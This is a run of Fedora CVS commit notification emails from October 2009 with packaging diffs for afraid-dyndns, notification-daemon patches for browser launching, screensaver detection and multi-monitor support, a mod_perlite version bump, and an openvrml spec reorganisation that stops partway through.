	.cvsignore afraid-dyndns.spec import.log sources 
Added Files:
	afraid-dyndns.F10.patch 
Log Message:
modified for OSX support


afraid-dyndns.F10.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE afraid-dyndns.F10.patch ---
Index: Makefile
===================================================================
--- Makefile	(revision 2470)
+++ Makefile	(revision 2471)
@@ -1,6 +1,6 @@
 install:
 	install -Dpm 0755 afraid-dyndns ${DESTDIR}/usr/bin/afraid-dyndns
-	install -DCm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
-	install -DCm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
+	install -Dpm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
+	install -Dpm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
 	install -dpm 0755 ${DESTDIR}/var/cache/afraid-dyndns
 	touch ${DESTDIR}/var/cache/afraid-dyndns/IP


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Oct 2009 21:23:43 -0000	1.2
+++ .cvsignore	16 Oct 2009 01:30:54 -0000	1.3
@@ -1 +1 @@
-afraid-dyndns-1.0.tar.gz
+afraid-dyndns-1.1.tar.gz


Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-12/afraid-dyndns.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- afraid-dyndns.spec	1 Oct 2009 21:23:43 -0000	1.1
+++ afraid-dyndns.spec	16 Oct 2009 01:30:54 -0000	1.2
@@ -1,11 +1,12 @@
 Name:      afraid-dyndns
-Version:   1.0
-Release:   2%{?dist}
+Version:   1.1
+Release:   1%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
 URL:       http://perl.arix.com
-Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
+Source0:   ftp://arix.com/afraid-dyndns-%{version}.tar.gz
+Patch:    %{name}.F10.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch: noarch
 
@@ -17,12 +18,15 @@ DNS entries of all the domains of the gi
 
 %prep
 %setup -q
+%if 0%{?fedora} <= 10
+%patch -p0 -b .orig
+%endif
 
 %build
 
 %install
 rm -rf %{buildroot}
-%{__make} DESTDIR=%{buildroot} install
+./install %{buildroot}
 
 %clean
 rm -rf %{buildroot}
@@ -37,6 +41,18 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Thu Oct 15 2009 Erick Calder <rpm at arix.com> - 1.1-1
+- modifications for OSX support
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-5
+- fix to application of patch, which breaks with the error 'missing header for unified diff at line 5 of patch
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-4
+- fixed broken reference to patch
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-3
+- added patch to fix issue with Makefile for F10
+
 * Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
 - tarball extension changed
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	1 Oct 2009 21:23:43 -0000	1.1
+++ import.log	16 Oct 2009 01:30:54 -0000	1.2
@@ -1 +1,2 @@
 afraid-dyndns-1_0-2_fc11:F-12:afraid-dyndns-1.0-2.fc11.src.rpm:1254432212
+afraid-dyndns-1_1-1_fc11:F-12:afraid-dyndns-1.1-1.fc11.src.rpm:1255656606


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Oct 2009 21:23:43 -0000	1.2
+++ sources	16 Oct 2009 01:30:54 -0000	1.3
@@ -1 +1 @@
-b57fe13f683f36b7daa5b035437370a9  afraid-dyndns-1.0.tar.gz
+38ca9be1d2ab409fe472524df53c8806  afraid-dyndns-1.1.tar.gz



From ekkis at fedoraproject.org  Fri Oct 16 01:32:57 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Fri, 16 Oct 2009 01:32:57 +0000 (UTC)
Subject: rpms/afraid-dyndns/EL-5 afraid-dyndns.F10.patch, NONE,
	1.1 .cvsignore, 
	1.2, 1.3 afraid-dyndns.spec, 1.1, 1.2 import.log, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091016013257.118DD11C00DB@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31152/EL-5

Modified Files:
	.cvsignore afraid-dyndns.spec import.log sources 
Added Files:
	afraid-dyndns.F10.patch 
Log Message:
modified for OSX support


afraid-dyndns.F10.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE afraid-dyndns.F10.patch ---
Index: Makefile
===================================================================
--- Makefile	(revision 2470)
+++ Makefile	(revision 2471)
@@ -1,6 +1,6 @@
 install:
 	install -Dpm 0755 afraid-dyndns ${DESTDIR}/usr/bin/afraid-dyndns
-	install -DCm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
-	install -DCm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
+	install -Dpm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
+	install -Dpm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
 	install -dpm 0755 ${DESTDIR}/var/cache/afraid-dyndns
 	touch ${DESTDIR}/var/cache/afraid-dyndns/IP


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Oct 2009 21:22:05 -0000	1.2
+++ .cvsignore	16 Oct 2009 01:32:56 -0000	1.3
@@ -1 +1 @@
-afraid-dyndns-1.0.tar.gz
+afraid-dyndns-1.1.tar.gz


Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/EL-5/afraid-dyndns.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- afraid-dyndns.spec	1 Oct 2009 21:22:05 -0000	1.1
+++ afraid-dyndns.spec	16 Oct 2009 01:32:56 -0000	1.2
@@ -1,11 +1,12 @@
 Name:      afraid-dyndns
-Version:   1.0
-Release:   2%{?dist}
+Version:   1.1
+Release:   1%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
 URL:       http://perl.arix.com
-Source0:   ftp://arix.com/afraid-dyndns-1.0.tar.gz
+Source0:   ftp://arix.com/afraid-dyndns-%{version}.tar.gz
+Patch:    %{name}.F10.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 BuildArch: noarch
 
@@ -17,12 +18,15 @@ DNS entries of all the domains of the gi
 
 %prep
 %setup -q
+%if 0%{?fedora} <= 10
+%patch -p0 -b .orig
+%endif
 
 %build
 
 %install
 rm -rf %{buildroot}
-%{__make} DESTDIR=%{buildroot} install
+./install %{buildroot}
 
 %clean
 rm -rf %{buildroot}
@@ -37,6 +41,18 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Thu Oct 15 2009 Erick Calder <rpm at arix.com> - 1.1-1
+- modifications for OSX support
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-5
+- fix to application of patch, which breaks with the error 'missing header for unified diff at line 5 of patch
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-4
+- fixed broken reference to patch
+
+* Sat Oct 03 2009 Erick Calder <rpm at arix.com> - 1.0-3
+- added patch to fix issue with Makefile for F10
+
 * Sun Sep 27 2009 Erick Calder <rpm at arix.com> - 1.0-2
 - tarball extension changed
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/EL-5/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	1 Oct 2009 21:22:05 -0000	1.1
+++ import.log	16 Oct 2009 01:32:56 -0000	1.2
@@ -1 +1,2 @@
 afraid-dyndns-1_0-2_fc11:EL-5:afraid-dyndns-1.0-2.fc11.src.rpm:1254432114
+afraid-dyndns-1_1-1_fc11:EL-5:afraid-dyndns-1.1-1.fc11.src.rpm:1255656746


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Oct 2009 21:22:05 -0000	1.2
+++ sources	16 Oct 2009 01:32:56 -0000	1.3
@@ -1 +1 @@
-b57fe13f683f36b7daa5b035437370a9  afraid-dyndns-1.0.tar.gz
+38ca9be1d2ab409fe472524df53c8806  afraid-dyndns-1.1.tar.gz



From mclasen at fedoraproject.org  Fri Oct 16 01:35:24 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri, 16 Oct 2009 01:35:24 +0000 (UTC)
Subject: rpms/notification-daemon/F-12 browser.patch, NONE,
	1.1 monitor-stacks.patch, NONE, 1.1 screensaver-check.patch,
	NONE, 1.1 variable-monitors.patch, NONE,
	1.1 notification-daemon.spec, 1.35, 1.36
Message-ID: <20091016013525.06DAE11C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/notification-daemon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32363

Modified Files:
	notification-daemon.spec 
Added Files:
	browser.patch monitor-stacks.patch screensaver-check.patch 
	variable-monitors.patch 
Log Message:
Fix various issues


browser.patch:
 daemon.c |   17 ++++-------------
 1 file changed, 4 insertions(+), 13 deletions(-)

--- NEW FILE browser.patch ---
diff -up notification-daemon-0.4.1/src/daemon/daemon.c.browser notification-daemon-0.4.1/src/daemon/daemon.c
--- notification-daemon-0.4.1/src/daemon/daemon.c.browser	2009-10-15 17:25:08.816399825 -0400
+++ notification-daemon-0.4.1/src/daemon/daemon.c	2009-10-15 17:30:10.680399278 -0400
@@ -845,27 +845,18 @@ url_clicked_cb(GtkWindow *nw, const char
 
 	escaped_url = g_shell_quote(url);
 
-	/*
-	 * We can't actually check for GNOME_DESKTOP_SESSION_ID, because it's
-	 * not in the environment for this program :(
-	 */
-	if (/*g_getenv("GNOME_DESKTOP_SESSION_ID") != NULL &&*/
-		g_find_program_in_path("gnome-open") != NULL)
+	if (g_find_program_in_path("gvfs-open") != NULL)
 	{
-		cmd = g_strdup_printf("gnome-open %s", escaped_url);
+		cmd = g_strdup_printf("gvfs-open %s", escaped_url);
 	}
-	else if (g_find_program_in_path("mozilla-firefox") != NULL)
+	else if (g_find_program_in_path("xdg-open") != NULL)
 	{
-		cmd = g_strdup_printf("mozilla-firefox %s", escaped_url);
+		cmd = g_strdup_printf("xdg-open %s", escaped_url);
 	}
 	else if (g_find_program_in_path("firefox") != NULL)
 	{
 		cmd = g_strdup_printf("firefox %s", escaped_url);
 	}
-	else if (g_find_program_in_path("mozilla") != NULL)
-	{
-		cmd = g_strdup_printf("mozilla %s", escaped_url);
-	}
 	else
 	{
 		g_warning("Unable to find a browser.");

monitor-stacks.patch:
 stack.c |    6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

--- NEW FILE monitor-stacks.patch ---
--- notification-daemon-0.4.1/src/daemon/stack.c	2009-09-23 01:47:50.000000000 -0400
+++ hacked-foo/src/daemon/stack.c	2009-10-15 21:26:03.269041656 -0400
@@ -199,17 +199,21 @@
 static void
 notify_stack_shift_notifications(NotifyStack *stack,
 								 GtkWindow *nw,
-								 GSList **nw_l,
+								  GSList **nw_l,
 								 gint init_width,
 								 gint init_height,
 								 gint *nw_x,
 								 gint *nw_y)
 {
 	GdkRectangle workarea;
+        GdkRectangle monitor;
 	GSList *l;
 	gint x, y, shiftx = 0, shifty = 0, index = 1;
 
 	get_work_area(GTK_WIDGET(nw), &workarea);
+        gdk_screen_get_monitor_geometry (stack->screen, stack->monitor, &monitor);
+	gdk_rectangle_intersect (&monitor, &workarea, &workarea);
+
 	get_origin_coordinates(stack->location, &workarea, &x, &y,
 						   &shiftx, &shifty, init_width, init_height);
 

screensaver-check.patch:
 daemon.c |   55 ++++++++++++++++++++++++++++++-------------------------
 1 file changed, 30 insertions(+), 25 deletions(-)

--- NEW FILE screensaver-check.patch ---
--- notification-daemon-0.4.1/src/daemon/daemon.c	2009-10-15 17:21:49.127672315 -0400
+++ hacked/src/daemon/daemon.c	2009-10-15 17:21:34.683409674 -0400
@@ -883,33 +883,38 @@
 static gboolean
 screensaver_active(GtkWidget *nw)
 {
-	GdkDisplay *display = gdk_drawable_get_display(GDK_DRAWABLE(nw->window));
-	Atom type;
-	int format;
-	unsigned long nitems, bytes_after;
-	unsigned char *temp_data;
-	gboolean active = FALSE;
-	Atom XA_BLANK = gdk_x11_get_xatom_by_name_for_display(display, "BLANK");
-	Atom XA_LOCK = gdk_x11_get_xatom_by_name_for_display(display, "LOCK");
-
-	/* Check for a screensaver first. */
-	if (XGetWindowProperty(
-		GDK_DISPLAY_XDISPLAY(display),
-		GDK_ROOT_WINDOW(),
-		gdk_x11_get_xatom_by_name_for_display(display, "_SCREENSAVER_STATUS"),
-		0, G_MAXLONG, False, XA_INTEGER, &type, &format, &nitems,
-		&bytes_after, &temp_data) == Success &&
-		type && temp_data != NULL)
-	{
-		CARD32 *data = (CARD32 *)temp_data;
-
-		active = (type == XA_INTEGER && nitems >= 3 &&
-				  (time_t)data[1] > (time_t)666000000L &&
-				  (data[0] == XA_BLANK || data[0] == XA_LOCK));
+	DBusGConnection *connection;
+	DBusGProxy *gs_proxy;
+        GError *error;
+	gboolean active;
+
+	active = FALSE;
+
+	error = NULL;
+	connection = dbus_g_bus_get(DBUS_BUS_SESSION, &error);
+	if (connection == NULL)
+	{
+		g_error("Failed to get dbus connection: %s", error->message);
+		g_error_free(error);
+		goto out;
+
 	}
+	gs_proxy = dbus_g_proxy_new_for_name(connection,
+  					     "org.gnome.ScreenSaver",
+				  	     "/",
+					     "org.gnome.ScreenSaver");
+
+	if (!dbus_g_proxy_call(gs_proxy, "GetActive", &error,
+			       G_TYPE_INVALID,
+			       G_TYPE_BOOLEAN, &active,
+			       G_TYPE_INVALID))
+	{
+		g_error("Failed to call gnome-screensaver: %s", error->message);
+		g_error_free(error);
+	}
+
+out:
 
-	if (temp_data != NULL)
-		XFree(temp_data);
 	return active;
 }
 

variable-monitors.patch:
 daemon.c |   59 ++++++++++++++++++++++++++++++++++++++---------------------
 1 file changed, 38 insertions(+), 21 deletions(-)

--- NEW FILE variable-monitors.patch ---
--- notification-daemon-0.4.1/src/daemon/daemon.c	2009-10-15 21:22:24.598052888 -0400
+++ hacked-foo/src/daemon/daemon.c	2009-10-15 21:26:56.380290516 -0400
@@ -162,44 +162,59 @@
 }
 
 static void
-notify_daemon_init(NotifyDaemon *daemon)
+reallocate_stacks (NotifyDaemon *daemon)
 {
-	NotifyStackLocation location;
-	GConfClient *client = get_gconf_client();
 	GdkDisplay *display;
 	GdkScreen *screen;
+        gint old_stacks_size;
+	GConfClient *client = get_gconf_client();
+	NotifyStackLocation location;
 	gchar *slocation;
 	gint i;
 
+	display = gdk_display_get_default();
+	screen = gdk_display_get_default_screen(display);
+
+	if (daemon->priv->stacks_size < gdk_screen_get_n_monitors (screen)) {
+		slocation = gconf_client_get_string(client, GCONF_KEY_POPUP_LOCATION,
+						    NULL);
+		location = get_stack_location_from_string(slocation);
+		g_free(slocation);
+
+		old_stacks_size = daemon->priv->stacks_size;
+		daemon->priv->stacks_size = gdk_screen_get_n_monitors(screen);
+		daemon->priv->stacks = g_renew(NotifyStack *, daemon->priv->stacks, daemon->priv->stacks_size);
+		for (i = old_stacks_size; i < daemon->priv->stacks_size; i++) {
+			daemon->priv->stacks[i] = notify_stack_new(daemon,
+                                                                   screen,
+						   	           i,
+                                                                   location);
+		}
+	}
+
+
+}
+
+static void
+notify_daemon_init(NotifyDaemon *daemon)
+{
 	daemon->priv = G_TYPE_INSTANCE_GET_PRIVATE(daemon, NOTIFY_TYPE_DAEMON,
-											   NotifyDaemonPrivate);
+						   NotifyDaemonPrivate);
 
 	daemon->priv->next_id = 1;
 	daemon->priv->timeout_source = 0;
 
-	slocation = gconf_client_get_string(client, GCONF_KEY_POPUP_LOCATION,
-										NULL);
-	location = get_stack_location_from_string(slocation);
-	g_free(slocation);
+	daemon->priv->stacks_size = 0;
+	daemon->priv->stacks = NULL;
 
-	display = gdk_display_get_default();
-	screen = gdk_display_get_default_screen(display);
-	daemon->priv->stacks_size = gdk_screen_get_n_monitors(screen);
-	daemon->priv->stacks = g_new0(NotifyStack *, daemon->priv->stacks_size);
+	reallocate_stacks (daemon);
 
 	daemon->priv->idle_reposition_notify_ids = g_hash_table_new(NULL, NULL);
 	daemon->priv->monitored_window_hash = g_hash_table_new(NULL, NULL);
 	gdk_window_add_filter(NULL, _notify_x11_filter, daemon);
-
-	for (i = 0; i < daemon->priv->stacks_size; i++)
-	{
-		daemon->priv->stacks[i] = notify_stack_new(daemon, screen,
-												   i, location);
-	}
-
 	daemon->priv->notification_hash =
 		g_hash_table_new_full(g_int_hash, g_int_equal, g_free,
-							  (GDestroyNotify)_notify_timeout_destroy);
+				  (GDestroyNotify)_notify_timeout_destroy);
 }
 
 static void
@@ -1308,7 +1323,9 @@
 		gdk_display_get_pointer(gdk_display_get_default(),
 								&screen, &x, &y, NULL);
 		monitor = gdk_screen_get_monitor_at_point(screen, x, y);
-		g_assert(monitor >= 0 && monitor < priv->stacks_size);
+		if (monitor >= priv->stacks_size) {
+			reallocate_stacks (daemon);
+		}
 
 		notify_stack_add_window(priv->stacks[monitor], nw, new_notification);
 	}


Index: notification-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/notification-daemon/F-12/notification-daemon.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- notification-daemon.spec	25 Sep 2009 00:33:58 -0000	1.35
+++ notification-daemon.spec	16 Oct 2009 01:35:24 -0000	1.36
@@ -7,7 +7,7 @@
 Summary: Desktop Notification Daemon
 Name: notification-daemon
 Version: 0.4.1
-Release: 0.20090923.2%{?dist}
+Release: 0.20090923.3%{?dist}
 URL: http://www.galago-project.org/specs/notification/
 License: GPLv2+
 Group: System Environment/Libraries
@@ -41,6 +41,15 @@ Patch1: default-theme.patch
 Patch2: location.patch
 Patch10: notification-daemon-always-stack.patch
 
+# Cut down on crazy browser choices
+Patch11: browser.patch
+# A working screensaver check
+Patch12: screensaver-check.patch
+# Make per-monitor stacks work as intended
+Patch13: monitor-stacks.patch
+# Don't crash if new monitors appear
+Patch14: variable-monitors.patch
+
 %description
 notification-daemon is the server implementation of the freedesktop.org desktop
 notification specification. Notifications can be used to inform the user
@@ -53,6 +62,10 @@ user's way.
 %patch1 -p1 -b .default-theme
 %patch2 -p1 -b .location
 %patch10 -p1 -b .always-stack
+%patch11 -p1 -b .browser
+%patch12 -p1 -b .screensaver-check
+%patch13 -p1 -b .monitor-stacks
+%patch14 -p1 -b .variable-monitors
 
 autoreconf -i -f
 
@@ -113,6 +126,11 @@ gconftool-2 --makefile-install-rule \
 
 
 %changelog
+* Thu Oct 15 2009 Matthias Clasen <mclasen at redhat.com> - 0.4.1-1.20090923.3
+- Fix issues with the multi-monitor support
+- Make screensaver check work
+- Use gvfs-open instead of gnome-open
+
 * Thu Sep 24 2009 Matthias Clasen <mclasen at redhat.com> - 0.4.1-1.20090923.2
 - Change default theme to 'slider'
 



From ekkis at fedoraproject.org  Fri Oct 16 02:04:15 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Fri, 16 Oct 2009 02:04:15 +0000 (UTC)
Subject: rpms/afraid-dyndns/F-10 afraid-dyndns.F10.patch, 1.1,
	1.2 afraid-dyndns.spec, 1.4, 1.5 import.log, 1.4, 1.5
Message-ID: <20091016020416.C232111C00DB@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/afraid-dyndns/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10075/F-10

Modified Files:
	afraid-dyndns.F10.patch afraid-dyndns.spec import.log 
Log Message:
fixed patch for F10


afraid-dyndns.F10.patch:
 install |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

Index: afraid-dyndns.F10.patch
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/afraid-dyndns.F10.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- afraid-dyndns.F10.patch	4 Oct 2009 00:11:14 -0000	1.1
+++ afraid-dyndns.F10.patch	16 Oct 2009 02:04:12 -0000	1.2
@@ -1,9 +1,8 @@
-Index: Makefile
-===================================================================
---- Makefile	(revision 2470)
-+++ Makefile	(revision 2471)
-@@ -1,6 +1,6 @@
- install:
+--- install	2009-10-15 18:54:34.118632584 -0700
++++ /tmp/install	2009-10-15 18:55:42.886632528 -0700
+@@ -12,8 +12,8 @@
+ 	launchctl load /Library/LaunchDaemons/org.afraid.dyndns.plist
+ else
  	install -Dpm 0755 afraid-dyndns ${DESTDIR}/usr/bin/afraid-dyndns
 -	install -DCm 0644 cron ${DESTDIR}/etc/cron.d/afraid-dyndns
 -	install -DCm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
@@ -11,3 +10,4 @@ Index: Makefile
 +	install -Dpm 0644 conf ${DESTDIR}/etc/afraid-dyndns.conf
  	install -dpm 0755 ${DESTDIR}/var/cache/afraid-dyndns
  	touch ${DESTDIR}/var/cache/afraid-dyndns/IP
+ fi


Index: afraid-dyndns.spec
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/afraid-dyndns.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- afraid-dyndns.spec	16 Oct 2009 01:28:48 -0000	1.4
+++ afraid-dyndns.spec	16 Oct 2009 02:04:12 -0000	1.5
@@ -1,6 +1,6 @@
 Name:      afraid-dyndns
 Version:   1.1
-Release:   1%{?dist}
+Release:   2%{?dist}
 Summary:   A dynamic DNS client for the free service afraid.org
 Group:     System Environment/Daemons
 License:   GPLv3+
@@ -41,6 +41,9 @@ rm -rf %{buildroot}
 %ghost %{_localstatedir}/cache/afraid-dyndns/IP
 
 %changelog
+* Thu Oct 15 2009 Erick Calder <rpm at arix.com> - 1.1-2
+- fixed patch for F10
+
 * Thu Oct 15 2009 Erick Calder <rpm at arix.com> - 1.1-1
 - modifications for OSX support
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/afraid-dyndns/F-10/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	16 Oct 2009 01:28:48 -0000	1.4
+++ import.log	16 Oct 2009 02:04:13 -0000	1.5
@@ -2,3 +2,4 @@ afraid-dyndns-1_0-2_fc11:F-10:afraid-dyn
 afraid-dyndns-1_0-4_fc11:F-10:afraid-dyndns-1.0-4.fc11.src.rpm:1254615025
 afraid-dyndns-1_0-5_fc11:F-10:afraid-dyndns-1.0-5.fc11.src.rpm:1254618901
 afraid-dyndns-1_1-1_fc11:F-10:afraid-dyndns-1.1-1.fc11.src.rpm:1255656488
+afraid-dyndns-1_1-2_fc11:F-10:afraid-dyndns-1.1-2.fc11.src.rpm:1255658636



From cweyl at fedoraproject.org  Fri Oct 16 02:46:45 2009
From: cweyl at fedoraproject.org (Chris Weyl)
Date: Fri, 16 Oct 2009 02:46:45 +0000 (UTC)
Subject: rpms/mod_perlite/devel .cvsignore,1.2,1.3 sources,1.2,1.3
Message-ID: <20091016024645.8A5F811C00DB@cvs1.fedora.phx.redhat.com>

Author: cweyl

Update of /cvs/extras/rpms/mod_perlite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21046

Modified Files:
	.cvsignore sources 
Log Message:
* Wed Oct 14 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.10
- update to 0.10



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mod_perlite/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	11 Apr 2009 05:06:28 -0000	1.2
+++ .cvsignore	16 Oct 2009 02:46:44 -0000	1.3
@@ -1 +1 @@
-mod_perlite-git20090314.tar.gz
+mod_perlite-0.10.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mod_perlite/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	11 Apr 2009 05:06:28 -0000	1.2
+++ sources	16 Oct 2009 02:46:44 -0000	1.3
@@ -1 +1 @@
-b070e26defddb65dccac7c78270e8fc7  mod_perlite-git20090314.tar.gz
+4ee196a0595d09e47974d5629796939a  mod_perlite-0.10.tar.gz



From braden at fedoraproject.org  Fri Oct 16 02:56:14 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Fri, 16 Oct 2009 02:56:14 +0000 (UTC)
Subject: rpms/openvrml/F-11 openvrml.spec,1.76,1.77
Message-ID: <20091016025614.8777B11C00DB@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22861/F-11

Modified Files:
	openvrml.spec 
Log Message:
Moved libopenvrml.so.* to libopenvrml subpackage; moved libopenvrml-gl.so.* to libopenvrml-gl subpackage; moved node implementations to openvrml-nodes subpackage; made openvrml a metapackage.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-11/openvrml.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- openvrml.spec	15 Oct 2009 06:08:19 -0000	1.76
+++ openvrml.spec	16 Oct 2009 02:56:14 -0000	1.77
@@ -1,8 +1,8 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        5%{?dist}
-Summary:        VRML/X3D runtime library
+Release:        6%{?dist}
+Summary:        VRML/X3D player and runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
 Source:         http://downloads.sourceforge.net/openvrml/%{name}-%{version}.tar.gz
@@ -24,26 +24,44 @@ BuildRequires:  gtkglext-devel
 BuildRequires:  libgnomeui-devel >= 2.14
 BuildRequires:  curl-devel
 BuildRequires:  java-devel
+Requires:       openvrml-player%{?_isa} = %{version}-%{release}
+Requires:       openvrml-mozilla-plugin%{?_isa} = %{version}-%{release}
+Requires:       openvrml-nodes%{?_isa} = %{version}-%{release}
+Requires:       openvrml-java%{?_isa} = %{version}-%{release}
+Requires:       openvrml-javascript%{?_isa} = %{version}-%{release}
 
 %description
-OpenVRML is a VRML/X3D support library, including a runtime and facilities
-for reading and displaying VRML and X3D models.
+Metapackage that aggregates the stand-alone player, the Web browser
+plug-in, the node implementations, and the Java and JavaScript
+scripting engines.
 
+%package -n libopenvrml
+Summary:        VRML/X3D runtime library
+Group:          System Environment/Libraries
+%description -n libopenvrml
+The core runtime library and parsing facilities for OpenVRML.
 
-%package devel
+%package -n lib%{name}-devel
 Summary:        Headers for developing C++ programs with OpenVRML
 Group:          Development/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       boost-devel%{?_isa} >= 1.37.0
-%description devel
+%description -n libopenvrml-devel
 Headers that programmers will need to develop C++ programs using
-OpenVRML.
+libopenvrml.
+
+%package nodes
+Summary:        OpenVRML node implementations.
+Group:          System Environment/Libraries
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
+%description nodes
+Node implementations for OpenVRML.
 
 %package javascript
 Summary:        Script node JavaScript support for OpenVRML
 Group:          System Environment/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       xulrunner%{?_isa} >= 1.9.1
 %description javascript
 A JavaScript scripting engine for OpenVRML using Mozilla SpiderMonkey.
@@ -51,26 +69,26 @@ A JavaScript scripting engine for OpenVR
 %package java
 Summary:        Script node Java support for OpenVRML
 Group:          System Environment/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       java-1.6.0-openjdk%{?_isa}
 %description java
 A Java scripting engine for OpenVRML.
 
-%package gl
+%package -n libopenvrml-gl
 Summary:        OpenGL renderer for OpenVRML
 Group:          System Environment/Libraries
-Requires:       %{name}%{?_isa} = %{version}-%{release}
-%description gl
+Requires:       libopenvrml%{?_isa} = %{version}-%{release}
+%description -n libopenvrml-gl
 OpenGL renderer for OpenVRML.
 
-%package gl-devel
+%package -n libopenvrml-gl-devel
 Summary:        OpenVRML OpenGL renderer headers
 Group:          Development/Libraries
-Requires:       %{name}-gl%{?_isa} = %{version}-%{release}
-Requires:       %{name}-devel%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml-gl%{?_isa} = %{version}-%{release}
+Requires:       libopenvrml-devel%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
